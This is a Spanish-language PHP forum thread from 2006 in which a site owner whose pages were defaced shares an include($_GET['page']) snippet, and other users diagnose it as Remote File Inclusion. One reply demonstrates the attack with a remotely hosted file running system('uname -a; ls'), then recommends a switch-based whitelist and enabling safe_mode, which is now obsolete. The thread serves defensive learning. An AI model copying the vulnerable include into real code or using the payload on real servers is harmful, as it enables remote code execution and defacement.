Foros del Web » Programando para Internet » PHP »

seguridad en mi pagina

Estas en el tema de seguridad en mi pagina en el foro de PHP en Foros del Web. hola.. realmente no se si este post va aki o en seguridad.. les cuento.. alguien anduvo husmeando en mi sitio y me envio un correo ...
  #1 (permalink)  
Antiguo 07/03/2006, 12:35
Avatar de vampira  
Fecha de Ingreso: noviembre-2002
Mensajes: 247
Antigüedad: 21 años, 5 meses
Puntos: 0
seguridad en mi pagina

hola.. realmente no se si este post va aki o en seguridad.. les cuento..

alguien anduvo husmeando en mi sitio y me envio un correo diciendome ke mi server era vulnerable (obviamente no es mi server) en una pagina ke yo uso como plantilla para mandar llamar las otras paginas (index2.php)..

en mi pagina index2.php tengo 3 pekeños scripts php, uno ke manda llamar el menu izkierdo (include menu.html)
el otro ke manda llamar el menu inferior (include base.htm)
y el del centro ek manda llamar a la pagina, ahi tengo esto:

Código:
<? if (!isset($_GET['page'])) {
		     include "main.html";
			} else {
			  include $_GET['page'].".html";
			}  
		?>
no se ke puede estar mal ahi, si trato de cargar otra pagina desde la barra de direcciones del browser x ejemplo index2.php?page=go2hell.php en el sitio ke tengo publicado no aparece nada, ni error, no se si se esta ejecutando o no, si hago eso localmente me manda un Warning de pagina no encontrada..

bueno el caso eske no encuentro la forma en ke puede ser vulnerable mi pagina index2.php pero si hay algo malo kisiera corregirlo...
y tampoco se si es vulnerabilidad de la pagina o del servidor de hospedaje..

help!!
  #2 (permalink)  
Antiguo 07/03/2006, 15:44
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
SIEMPRE deberías comprobar, al hacer esta clase de cosas, que lo que te mandan como variable es válido.

En principio, me parece que......

1º.- deberías hacer una expresión regular que filtre la variable "page", para permitir (por ejemplo) solo letras, solo números, guiones, infraguiones, puntos, etc.

2º verificar si el archivo existe antes de hacer el "include" (file_exists)

No sé si tu código tiene problemas específicos, lo que sí te digo es que siempre deberías comprobar cualquier dato que pueda ser modificado por un visitante, para evitar riesgos.


Saludos.
  #3 (permalink)  
Antiguo 09/03/2006, 10:33
Avatar de vampira  
Fecha de Ingreso: noviembre-2002
Mensajes: 247
Antigüedad: 21 años, 5 meses
Puntos: 0
hmm muy bien...

he estado leyendo ke puedes meter otros datos en los textbox, yo tengo un formulario de contacto, y lo probe intenado poner el nombre d eun script en mi servidor pero lo envia ocmo si fuera texto, o sea no lo ejecuta..

pero bueno, es verdad lo ke dices, debo asegurar ke sea la pagina ke espero recibir..

gracias
  #4 (permalink)  
Antiguo 03/04/2006, 15:52
Avatar de vampira  
Fecha de Ingreso: noviembre-2002
Mensajes: 247
Antigüedad: 21 años, 5 meses
Puntos: 0
me hackearon otra vez :(

segun yo valide la entrada la variable, es decir puse en un array las paginas validas pero me cambiaron el index de mi web.. como puedo evitar eso??

ademas el script busca la pagina en el directorio ke yo le especifike y si no existe manda un error, como es entonces ke podrian hackearme usando eso?? como entraron en el servidor y cambiaron mi index?????

help me!!!!!!!!
  #5 (permalink)  
Antiguo 03/04/2006, 18:20
AlvaroG
Invitado
 
Mensajes: n/a
Puntos:
pos obviamente el error no es tan sencillo, deberías ver otros códigos que tengas.... seguramente el error está en otra parte.....


Saludos.
  #6 (permalink)  
Antiguo 03/04/2006, 19:49
 
Fecha de Ingreso: enero-2006
Ubicación: mi casa
Mensajes: 255
Antigüedad: 18 años, 3 meses
Puntos: 0
RFI Vulnerability

Lo que tenemos ahì, es una vulnerabilidad llamada Remote File Inclusion,
al usar include amiga se pueden incluir arhivos locales y remotos
por lo que si se incluye codigo PHP, el mismo motor del PHP ejecuta ese codigo...

como ejemplo, yo escribo este codigo PHP:

Código:
system("uname -a; ls");
y lo guardo en un fichero llamado hola.jpg (sin ext php) y al llamar a tu include desde la variable page:

http://tuserver.com/pagina?page=http...r.com/hola.jpg

estoy incluyendo el codigo PHP con el procedimiento system que ejecuta comandos en el servidor (en este caso me devuelve la version del sistema linux version del kernel, Distro, hostname blah y un listado del directorio actual)

lo que te recomiendo que hagas
es en ves de usar un if y dejar que la variable page contenga el nombre del fichero PHP
es usar un switch

ejemplo:

Código:
switch($_GET['page']) {
case "pagina":
include("pagina.php");
break;
}
asi llamarias de esta forma a tu pagina:
http://www.tuserver.com/tuscript.php?page=pagina

y se incluye pagina.php y asi atacantes no tienen acceso al include
es una practica de programacion segura

un saludo Vampira
uff.

PD: hay una forma para desactivar la ejecuciòn de comandos mediante PHP (system, shell_Exec, etc son deshabilitadas) pero eso solo si tienes acceso al servidor y la configuracion del PHP.INI, sin embargo el include seguirà siendo vulnerable y con scripts avanzados que listeen el directorio y sobreescriban archivos te cambiaran el index :)
puesto que lo mejor es practicas seguras de programaciòn.

te dejo la linea que hay que cambiar para el PHP.INI:

safe_mode = off <- mayormente el safe mode està off, solo quita off y pon ON.

Última edición por NightDark; 03/04/2006 a las 19:54
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Respuesta




La zona horaria es GMT -6. Ahora son las 01:31.